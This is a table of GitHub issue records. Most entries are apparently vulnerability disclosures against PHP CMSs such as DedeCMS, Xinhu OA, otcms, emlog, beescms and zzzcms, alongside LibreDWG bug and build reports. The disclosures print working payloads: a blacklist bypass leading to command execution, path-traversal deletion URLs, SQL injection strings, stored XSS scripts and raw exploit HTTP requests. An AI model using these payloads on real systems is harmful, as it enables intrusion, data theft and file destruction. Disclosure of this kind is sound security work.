issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
---|---|---|---|---|---|---|---|---|---|
[
"yasm",
"yasm"
] |
Up to v1.0.0: works fine.
Since v1.0.1: "Not a valid Win32 app".
|
'Win32 .exe' does not run on Windows 2000 anymore
|
https://api.github.com/repos/yasm/yasm/issues/2/comments
| 0 |
2011-06-24T16:26:28Z
|
2011-06-24T16:26:28Z
|
https://github.com/yasm/yasm/issues/2
| 1,111,094 | 2 |
[
"Num-Nine",
"CVE"
] |
Official website: https://www.dedecms.com/
Version: DedeCMS V5.7.114
[DedeCMS-V5.7.114-UTF8.zip](https://github.com/QianGeG/CVE/files/15286316/DedeCMS-V5.7.114-UTF8.zip)

在文件式管理器功能处创建1.php和newfile.txt两个文件
1.php内容如下
```
<?php require_once('newfile.txt');?>
```
2.txt内容如下
```
<?php (s.y.s.t.e.m)("whoami");?>
```
随后访问1.php即可成功

# 调试分析
当访问如下网址时(新建文件)处
```
http://ddcms.asd/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
```
首先在file_manage_view.php文件进行分析,fmdo的参数为newfile,直接全局搜索

```php
else if($fmdo=="newfile")
{
$content = "";
$GLOBALS['filename'] = "newfile.txt";
$contentView = "<textarea name='str' style='width:99%;height:400'></textarea>\r\n";
$GLOBALS['token'] = make_hash();
$ctp = new DedeTagParse();
$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");
$ctp->display();
}
```
传入了一个htm文件,跟进查看
LoadTemplate()
```php
function LoadTemplate($filename)
{
// var_dump($filename);exit();
$this->SetDefault();
// 判断file_edit.htm是否存在,此文件时存在的,所以就进入到了else
if(!file_exists($filename))
{
// var_dump('asd');exit();
$this->SourceString = " $filename Not Found! ";
$this->ParseTemplet();
}
else
{
// echo '进入else条件';
$fp = @fopen($filename, "r");
while($line = fgets($fp,1024))
{
$this->SourceString .= $line;
// var_dump($this->SourceString);exit();
}
fclose($fp);
if($this->LoadCache($filename))
{
// var_dump(111);exit();
return '';
}
else
{
$this->ParseTemplet();
}
}
}
```
这前面没什么重点,这时在新建文件的时候的抓包看看

在file_manage_control.php处进行的文件上传,跟进
```php
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
//var_dump($str);exit(); 此处的$str是我们上传的内容,可以根据抓包的参数就可以看出来或者var_dump打印看看都可以看得出来
global $cfg_disable_funs;
//var_dump($cfg_disable_funs);exit();
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
//var_dump($value);exit();
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
//判断$str也就是用户输入的字符串内是否存在$cfg_disable_funs的字符,里面是一些禁用的函数或者是否存在[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST这些请求方式
// var_dump($str);
// dede_htmlspecialchars 进行了实体化编码
$str = dede_htmlspecialchars($str);
// var_dump($str);exit();
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
```
得知这里过滤了一些危险的函数和请求的方式,如:文件存在system或者$_GET['xx']。那么就会die掉

但是并没有过滤文件包含的函数,这里可以利于文件包含的函数包含任意文件从而达到目的
```php
/** 匹配如123<?php ?>**/
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
// var_dump(123);exit();
// echo 123;exit();
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
var_dump(123);exit();
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
var_dump(456);exit();
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
var_dump(678);exit();
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
```
```
下面的这些代码在123<?php ?>的时候会进行匹配到从而进入到此代码中或者<?php ?>都会进行匹配到,后面的三个正则如果当内容出现`xxx`或者$_GET[]等...会被die掉,里面的内容都会被实体化掉,经测试<?php ?>是可以进行操作的
```

随后当内容会我们的危害语句时也是可以过去的
```
<?php (s.y.s.t.e.m)("whoami");?>
```

加上前面的文件包含如果包含进此文件即可触发命令执行
|
RCE exists in DedeCMS V5.7.114
|
https://api.github.com/repos/QianGeG/CVE/issues/14/comments
| 0 |
2024-05-12T12:50:37Z
|
2024-05-12T12:50:37Z
|
https://github.com/QianGeG/CVE/issues/14
| 2,291,320,079 | 14 |
[
"Num-Nine",
"CVE"
] |
Official website: https://www.dedecms.com/
Version: DedeCMS V5.7.114
[DedeCMS-V5.7.114-UTF8.zip](https://github.com/QianGeG/CVE/files/15087843/DedeCMS-V5.7.114-UTF8.zip)
Start at line 6 of the mail_file_manage.php file
This period of regular filter preg_replace (" # ([.] + [/] +) * # ", "", $filename).. / But it can be used in windows ..\ and can be used in linux .. Perform an operation to cause any file to be deleted
Demo:
Create a flag on disk d, and then perform the deletion test

Then access the following address to successfully delete any file
`http://ddcms.asd/dede/mail_file_manage.php?fmdo=del&filename=..\..\..\..\..\flag&activepath=%2Fdata%2F123`


|
Any file is deleted in DedeCMS V5.7.114
|
https://api.github.com/repos/QianGeG/CVE/issues/13/comments
| 0 |
2024-04-24T04:20:48Z
|
2024-05-04T02:39:04Z
|
https://github.com/QianGeG/CVE/issues/13
| 2,260,278,393 | 13 |
[
"Num-Nine",
"CVE"
] |
1.Download address: http://www.poscms.net/xiazai/
2.Hole location: http://127.0.0.1/index.php? c=install&m=index&step=2&is_install_db=0
3.Fill in the payload at the project name
`<script>alert(/xss/)</script>`
4.xss is triggered when you return to the home page after installation


|
poscms 4.6.2 Storage xss Exists
|
https://api.github.com/repos/QianGeG/CVE/issues/12/comments
| 0 |
2023-12-30T09:06:40Z
|
2023-12-30T09:08:11Z
|
https://github.com/QianGeG/CVE/issues/12
| 2,060,687,596 | 12 |
[
"Num-Nine",
"CVE"
] |
1.Download address: https://codeload.github.com/GreenCMS/GreenCMS/zip/refs/heads/beta
2.Hole location: http://greencms.com/install.php?m=install&c=index&a=step3
3.Fill in the payload at the site name
`<script>alert(/xss/)</script>`
4.After the installation is complete, xss can be triggered by visiting the following URL
http://greencms.com/index.php?s=/Admin/Login/index
Any page in the background can trigger xss
|
GreenCMS v2.3 exists storage xss
|
https://api.github.com/repos/QianGeG/CVE/issues/11/comments
| 0 |
2023-12-30T08:57:42Z
|
2023-12-30T08:57:42Z
|
https://github.com/QianGeG/CVE/issues/11
| 2,060,685,426 | 11 |
[
"Num-Nine",
"CVE"
] |
The names and information of the affected products are as follows:
Xinhu2.6.0 is a free open source office system, cross-platform system, support APP, pc web version, pc client, REIM instant messaging and so on. In addition to some modules charging plug-ins (enterprise wechat, nail docking interface), the other 100% source code is all open, you can deploy to your server directly for use.
1.The official website is as follows:
http://www.rockoa.com/
sql injection exists in v2.6.0, the download address is as follows, and the new version has not been tested
[xinhu-master.zip](https://github.com/Num-Nine/CVE/files/13958606/xinhu-master.zip)
2.Login to system
3.Location: /index.php? a=publicsave&m=flow&d=main&ajaxbool=true&rnd=275030
4.

5.

6.
payload:`'ispay'=1 and updatexml('1',concat('~',(select user())),'1')#`

|
信呼OA-v2.6.0 存在SQL注入
|
https://api.github.com/repos/QianGeG/CVE/issues/10/comments
| 0 |
2023-12-11T12:51:57Z
|
2024-02-17T10:32:23Z
|
https://github.com/QianGeG/CVE/issues/10
| 2,035,615,033 | 10 |
[
"Num-Nine",
"CVE"
] |
The names and information of the affected products are as follows:
Xinhu2.6.0 is a free open source office system, cross-platform system, support APP, pc web version, pc client, REIM instant messaging and so on. In addition to some modules charging plug-ins (enterprise wechat, nail docking interface), the other 100% source code is all open, you can deploy to your server directly for use.
1.The official website is as follows:
http://www.rockoa.com/
xinhu2.6.0 Storage xss exists, download address below, new version not tested
[xinhu-master.zip](https://github.com/Num-Nine/CVE/files/13958602/xinhu-master.zip)
2.Login to system
3.

4.Enter in the field name " onclick="alert(/xss/)"

|
信呼OA-v2.6.0 存在存储xss
|
https://api.github.com/repos/QianGeG/CVE/issues/9/comments
| 1 |
2023-12-11T12:45:12Z
|
2024-02-17T10:32:04Z
|
https://github.com/QianGeG/CVE/issues/9
| 2,035,602,971 | 9 |
[
"Num-Nine",
"CVE"
] |
1.Official website:http://otcms.com/
2.Hole location: /admin/ind_backstage.php
3.Log in to the background and send the packet as follows
POST /admin/sysCheckFile_deal.php?mudi=sql HTTP/1.1
Host: otcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Origin: http://otcms.com
Connection: close
Referer: http://otcms.com/admin/sysCheckFile.php?mudi=sql
Cookie: DHKkf_memberInfo=XDFVClw1WzBRO1I6B2JRYVZlVTMAXwAyBjAPNAViVWQHOVE%2FCWUPY1w%2BAWUBbFQ0AjEHY1E%2BUW8AM1xrVmsGOVwzVTVcN1s1UWFSNQc%2BUTZWZFUxADIADwYwDzIFN1V9B2tRKQkxDy5cagEJAThUZQIxB2FRKlFmADdcflZiBjVcIFUyXGJbblFjUmcHNlFhVm9VCQC%2BALAGhA%2FnBbpV9Ae8UakJoA%2FnXMsBhgHvVMQCmw%3D%3D; DHKkf_memberRealName=%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98; PHPSESSID=fkuouf60dh4nb9hbfo20v5ktts
Upgrade-Insecure-Requests: 1
backURL=http%3A%2F%2Fotcms.com%2Fadmin%2FsysCheckFile.php%3Fmudi%3Dsql&pwdMode=&pwdKey=&pwdEnc=&sqlContent=select+*+from+ot_ad+where+AD_ID=3+and+extractvalue(1,concat(1,(select database())))--+;&userpwd=admin
4.The error injection can be triggered
|
sql injection exists in otcmsV7.01
|
https://api.github.com/repos/QianGeG/CVE/issues/8/comments
| 0 |
2023-12-11T09:51:15Z
|
2023-12-11T09:51:15Z
|
https://github.com/QianGeG/CVE/issues/8
| 2,035,266,663 | 8 |
[
"Num-Nine",
"CVE"
] |
Name of the affected product:zzzcms
The affected version:2.2.0
Vulnerability type:Cross-site redirection
1.
Download address:
http://115.29.55.18/zzzphp.zip
http://www.zzzcms.com/a/news/31_313.html
2.
Feel free to register a user after installation
Go to Message management: /? gbook/23
Copy the following code to fill in the header
`<meta http-equiv=refresh content=2,url=http://www.baidu.com>`
3.
Jump to baidu in 2 seconds
|
zzzcms-V2.2.0 has cross-site redirection vulnerability
|
https://api.github.com/repos/QianGeG/CVE/issues/7/comments
| 0 |
2023-10-09T08:50:13Z
|
2023-10-09T08:50:13Z
|
https://github.com/QianGeG/CVE/issues/7
| 1,932,585,751 | 7 |
[
"Num-Nine",
"CVE"
] |
1. Download address:
1. http://beescms.com/cxxz.html
2. https://pan.baidu.com/s/1slSoqIx
2. The vulnerability is located at: /admin/admin_content_tag.php? action=save_content
3. The packet is as follows:
POST /bees4.0/admin/admin_content_tag.php?action=save_content HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bees4.0/admin/admin_content_tag.php?action=content_list&lang=1&nav=main&admin_p_nav=main_info
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
DNT: 1
Connection: close
Cookie: PHPSESSID=7lq8r628r5sjnhmh349oe5d2p7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
tag_name=1&tag=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&content=1&lang=1
4.xss can be triggered by revisiting the following address
/admin/admin_content_tag.php?action=content_list&lang=1&nav=main&admin_p_nav=main_info
5.
Instructions:
beecms is PHP+MYSQL, multi-language system, content module is easy to expand, template style is diversified, template production is simple and powerful, professional SEO optimization, convenient background operation, can fully meet the enterprise website, foreign trade website, public institutions, educational institutions, personal website use.
|
beescms4.0 has storage xss
|
https://api.github.com/repos/QianGeG/CVE/issues/6/comments
| 0 |
2023-09-23T11:40:02Z
|
2023-09-23T11:40:02Z
|
https://github.com/QianGeG/CVE/issues/6
| 1,909,838,760 | 6 |
[
"Num-Nine",
"CVE"
] |
1
|
1
|
https://api.github.com/repos/QianGeG/CVE/issues/5/comments
| 0 |
2023-09-23T11:37:54Z
|
2023-09-23T11:37:54Z
|
https://github.com/QianGeG/CVE/issues/5
| 1,909,838,162 | 5 |
[
"Num-Nine",
"CVE"
] | null |
Any file is uploaded to eliteCMS1.01
|
https://api.github.com/repos/QianGeG/CVE/issues/4/comments
| 1 |
2023-09-19T02:52:11Z
|
2023-09-19T02:56:23Z
|
https://github.com/QianGeG/CVE/issues/4
| 1,902,114,633 | 4 |
[
"Num-Nine",
"CVE"
] |
1.Download address: https://github.com/forget-code/ucms
2.Vulnerability file location: http://127.0.0.1/CVE-Target/ucms-master/ucms/ajax.php? do=strarraylist
3.You need to manually create the cache and uploadfile directories during program installation
4.Ucms-master /ucms/ajax.php installed successfully? do=strarraylist
5.Send a POST request as follows
POST /CVE-Target/ucms-master/ucms/ajax.php?do=strarraylist HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/CVE-Target/ucms-master/ucms/ajax.php?do=strarraylist
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://127.0.0.1
DNT: 1
Connection: close
Cookie: admin_470315=admin; psw_470315=0fb277aadebd45b2ccc4834fe54aac4d; token_470315=b59b44f8
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
cid=2&strdefault=<script>alert('xss')</script>
over!
|
The ucms has xss
|
https://api.github.com/repos/QianGeG/CVE/issues/3/comments
| 0 |
2023-09-06T03:31:30Z
|
2023-09-06T03:31:30Z
|
https://github.com/QianGeG/CVE/issues/3
| 1,883,115,340 | 3 |
[
"Num-Nine",
"CVE"
] |
1.Loopholes in the http://127.0.0.1/CVE-Target/elitecms/admin/manage_uploads.php
2.Upload an a.php content as <? php phpinfo(); ? >
3.Click add image
4.Go to http://127.0.0.1/CVE-Target/elitecms/uploads/a.php
|
Any file is uploaded to eliteCMS
|
https://api.github.com/repos/QianGeG/CVE/issues/2/comments
| 0 |
2023-09-04T16:12:33Z
|
2023-09-04T16:12:33Z
|
https://github.com/QianGeG/CVE/issues/2
| 1,880,577,320 | 2 |
[
"Num-Nine",
"CVE"
] |
First log in to the home page of the background using the administrator account
Open the admin\template.php template
**../../hello.txt** This location is the root directory file to be deleted
poc:
GET /emlog/admin/template.php?action=del&tpl=**../../hello.txt**&token=c5bc68077f6da2a911df58e6cde92cbc2d0514fd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://127.0.0.1/emlog/admin/template.php
Cookie: PHPSESSID=kqfrmmnndterp04rl0cv9ls613; EM_AUTHCOOKIE_RNrgNg46hg86lUoT8Hg8Vht92Y3yU9rn=123123%7C0%7Cf98ccd4c0c66a0922a0e077a24088ba0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
|
emlogcms has an arbitrary file deletion vulnerability
|
https://api.github.com/repos/QianGeG/CVE/issues/1/comments
| 0 |
2023-06-23T13:54:27Z
|
2023-06-23T13:54:27Z
|
https://github.com/QianGeG/CVE/issues/1
| 1,771,506,262 | 1 |
[
"LibreDWG",
"libredwg"
] |
Hi,
I am trying to convert a r2018 DWG file into r2004 DXF file and then carry out some modifications on the latter. I use the following command line prompt (both files attached at the end as zip archive):
dwg2dxf.exe --as r2004 2018.dwg --file 2018.dxf
However, the produced dxf file is apparently problematic. The AutoDesk TrueView application can not open it, and also ezdxf does not read it (because it is missing name tag, see discussion in https://github.com/mozman/ezdxf/issues/1136). Is this supposed to work, or is this a bug?
I have also tried all other export formats (r2000, r2007, r2010, r2013) and got the same issue.
I am using LibreDWG v0.13.3, downloaded Windows binaries.
[2018.zip](https://github.com/user-attachments/files/16441827/2018.zip)
|
Empty BLOCK.name with created r2004 DXF file.
|
https://api.github.com/repos/LibreDWG/libredwg/issues/999/comments
| 0 |
2024-07-31T12:39:14Z
|
2024-08-02T02:42:53Z
|
https://github.com/LibreDWG/libredwg/issues/999
| 2,439,959,950 | 999 |
[
"LibreDWG",
"libredwg"
] |
I could not compile library.
Reproducer:
```
./configure --disable-bindings --enable-write --enable-trace --enable-debug --prefix=/usr/local/stow/foo
make
...
CC encode.lo
encode.c:4888:1: error: 'disable_3DSOLID_materials' defined but not used [-Werror=unused-function]
4888 | disable_3DSOLID_materials (Dwg_Object *obj)
| ^~~~~~~~~~~~~~~~~~~~~~~~~
cc1: note: unrecognized command-line option '-Wno-alloc-size' may have been intended to silence earlier diagnostics
cc1: all warnings being treated as errors
make[4]: *** [Makefile:735: encode.lo] Chyba 1
make[4]: Opouští se adresář „/home/skim/fod/libredwg/src“
make[3]: *** [Makefile:754: all-recursive] Chyba 1
make[3]: Opouští se adresář „/home/skim/fod/libredwg/src“
make[2]: *** [Makefile:596: all] Chyba 2
make[2]: Opouští se adresář „/home/skim/fod/libredwg/src“
make[1]: *** [Makefile:712: all-recursive] Chyba 1
make[1]: Opouští se adresář „/home/skim/fod/libredwg“
make: *** [Makefile:591: all] Chyba 2
```
|
Issue with last 3DSOLID_materials change
|
https://api.github.com/repos/LibreDWG/libredwg/issues/998/comments
| 1 |
2024-07-30T09:29:47Z
|
2024-08-04T13:36:28Z
|
https://github.com/LibreDWG/libredwg/issues/998
| 2,437,363,147 | 998 |
[
"LibreDWG",
"libredwg"
] |
With "Recovery Mode", I'm referring to an AutoCAD warning that appears when opening LibreDWG-generated DWG files.
Related to issue: https://github.com/LibreDWG/libredwg/issues/346
Material is broken, right? What about hardcoding a blob of data that belongs to the correct material so we can write all DWG file formats without "Recovery Mode"?
Or better, can you point me to the line of code that adds the material? Is it safe to remove it alone?
Thanks.
|
Getting rid of "Recovery Mode"
|
https://api.github.com/repos/LibreDWG/libredwg/issues/996/comments
| 5 |
2024-07-19T09:46:11Z
|
2024-07-30T10:03:32Z
|
https://github.com/LibreDWG/libredwg/issues/996
| 2,418,503,243 | 996 |
[
"LibreDWG",
"libredwg"
] |
libredwg-0.12.5-win64.zip 以上的版本,解压打开后使用 dwg2dxf.exe example_2000.dwg 命令,dwg转换为dxf的文件,转换后的dxf文件打开后不能正常显示,是不是高版本有什么依赖或者包需要安装的
|
高版本DWG转换为DXF文件失败
|
https://api.github.com/repos/LibreDWG/libredwg/issues/994/comments
| 1 |
2024-07-17T06:15:24Z
|
2024-07-29T21:36:39Z
|
https://github.com/LibreDWG/libredwg/issues/994
| 2,412,745,655 | 994 |
[
"LibreDWG",
"libredwg"
] |
Can you optimize the performance of reading dxf files?
|
Reading The dxf file is too slow
|
https://api.github.com/repos/LibreDWG/libredwg/issues/993/comments
| 1 |
2024-07-10T09:52:13Z
|
2024-07-10T14:58:52Z
|
https://github.com/LibreDWG/libredwg/issues/993
| 2,400,278,739 | 993 |
[
"LibreDWG",
"libredwg"
] |
Hi all,
I just built rust bindings using bindgen from the latest windows binary release, but the header files `dwg.h dwg_api.h` don't include the `dwg_write_dxf()` function, which appears to be found in `src/out_dxf.h`.
I ran libredwg-0.dll through dumpbin and it shows the function as an export.
Can anyone help point me in the right direction?
|
writing dxf files using the API?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/992/comments
| 1 |
2024-07-03T09:40:55Z
|
2024-07-03T14:07:19Z
|
https://github.com/LibreDWG/libredwg/issues/992
| 2,388,169,306 | 992 |
[
"LibreDWG",
"libredwg"
] |
in `dwg.i` ,
etc:
```
EXPORT bool dwg_dynapi_header_utf8text (const Dwg_Data *restrict dwg,
const char *restrict fieldname,
char **restrict textp, int *isnew,
Dwg_DYNAPI_field *restrict fp);
```
the output params is `textp`, `isnew`, `fp`, in `LibreDWG.py`
```
def dwg_dynapi_common_utf8text(_obj, fieldname, textp, isnew, fp):
return _LibreDWG.dwg_dynapi_common_utf8text(_obj, fieldname, textp, isnew, fp)
```
I cannot call this function success, always get error
```
TypeError: in method 'dwg_dynapi_entity_utf8text', argument 4 of type 'char **'
```
I found this [https://stackoverflow.com/questions/15185010/how-to-receive-reference-and-pointer-arguments-in-python-swig](https://stackoverflow.com/questions/15185010/how-to-receive-reference-and-pointer-arguments-in-python-swig) , **it seem need some modify in `dwg.i`**.
But I am not familiar with SWIG
|
the python binds with output params is difficulty to use
|
https://api.github.com/repos/LibreDWG/libredwg/issues/991/comments
| 2 |
2024-07-02T04:54:53Z
|
2024-07-12T09:38:07Z
|
https://github.com/LibreDWG/libredwg/issues/991
| 2,385,221,552 | 991 |
[
"LibreDWG",
"libredwg"
] |
hello ,I saved the DWG2000 file with dwgrewrite and the CAD does not recognize the opening error
`./dwgrewrite -v9 -o ./example_file_rewrite.dwg ./example_file.dwg`
|
INSERT encoding errors (was: dwgrewrite error)
|
https://api.github.com/repos/LibreDWG/libredwg/issues/990/comments
| 7 |
2024-07-01T07:39:17Z
|
2024-07-05T10:27:29Z
|
https://github.com/LibreDWG/libredwg/issues/990
| 2,383,088,225 | 990 |
[
"LibreDWG",
"libredwg"
] |
**System info**
Ubuntu x86_64, clang 13.0.1
version: last commit https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0
**Command line**
./programs/dwg2dxf ./poc
**Poc**
poc: [poc](https://github.com/SEU-SSL/Poc/blob/main/libredwg/id_000000%2Csig_06%2Csrc_003350%2B007001%2Ctime_55827966%2Cexece_9692579%2Cop_splice%2Crep_2)
**AddressSanitizer output**
==4125299==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000012 at pc 0x7fc49363558d bp 0x7ffda16f9180 sp 0x7ffda16f8928
WRITE of size 65534 at 0x602000000012 thread T0
#0 0x7fc49363558c in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790
#1 0x55db8e50129a in bit_read_fixed /src/libredwg-crashes/src/bits.c:1611
#2 0x55db8f32a347 in read_sections_map /src/libredwg-crashes/src/decode_r2007.c:961
#3 0x55db8f38ca78 in read_r2007_meta_data /src/libredwg-crashes/src/decode_r2007.c:2402
#4 0x55db8e5be6e1 in decode_R2007 /src/libredwg-crashes/src/decode.c:3482
#5 0x55db8e5167fe in dwg_decode /src/libredwg-crashes/src/decode.c:235
#6 0x55db8e4db389 in dwg_read_file /src/libredwg-crashes/src/dwg.c:275
#7 0x55db8e4d8ef8 in main /src/libredwg-crashes/programs/dwg2dxf.c:261
#8 0x7fc49327d082 in __libc_start_main ../csu/libc-start.c:308
#9 0x55db8e4d7d8d in _start (/src/libredwg-crashes/programs/dwg2dxf+0x262d8d)
0x602000000012 is located 0 bytes to the right of 2-byte region [0x602000000010,0x602000000012)
allocated by thread T0 here:
#0 0x7fc4936a7a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x55db8f32a2f0 in read_sections_map /src/libredwg-crashes/src/decode_r2007.c:960
#2 0x55db8f38ca78 in read_r2007_meta_data /src/libredwg-crashes/src/decode_r2007.c:2402
#3 0x55db8e5be6e1 in decode_R2007 /src/libredwg-crashes/src/decode.c:3482
#4 0x55db8e5167fe in dwg_decode /src/libredwg-crashes/src/decode.c:235
#5 0x55db8e4db389 in dwg_read_file /src/libredwg-crashes/src/dwg.c:275
#6 0x55db8e4d8ef8 in main /src/libredwg-crashes/programs/dwg2dxf.c:261
#7 0x7fc49327d082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[02]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4125299==ABORTING
|
heap-buffer-overflow exists in the function bit_read_fixed in /src/bits.c
|
https://api.github.com/repos/LibreDWG/libredwg/issues/989/comments
| 0 |
2024-06-28T03:48:46Z
|
2024-07-05T11:41:39Z
|
https://github.com/LibreDWG/libredwg/issues/989
| 2,379,509,407 | 989 |
[
"LibreDWG",
"libredwg"
] |
C:\Users\Liu\Desktop\libredwg-master\src\common.h(1,1): warning C4819: 该文件包含不能在当前代码页(936)中表示的字符。请将该文件保存为 Unicode 格式以防止数据丢失 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3477,1): warning C4819: 该文件包含不能在当前代码页(936)中表示的字符。请将该文件保存为 Unicode 格式以防止数据丢失 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3799,22): error C2065: “ref”: 未声明的标识符 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3799,23): error C2224: “.obj”的左侧必须具有结构/联合类型 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3800,22): error C2065: “ref”: 未声明的标识符 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3800,23): error C2224: “.handleref”的左侧必须具有结构/联合类型 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3801,22): error C2065: “ref”: 未声明的标识符 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
C:\Users\Liu\Desktop\libredwg-master\src\decode.c(3801,23): error C2224: “.absolute_ref”的左侧必须具有结构/联合类型 [C:\Users\Liu\Desktop\libredwg-master\build2\libredwg.vcxproj]
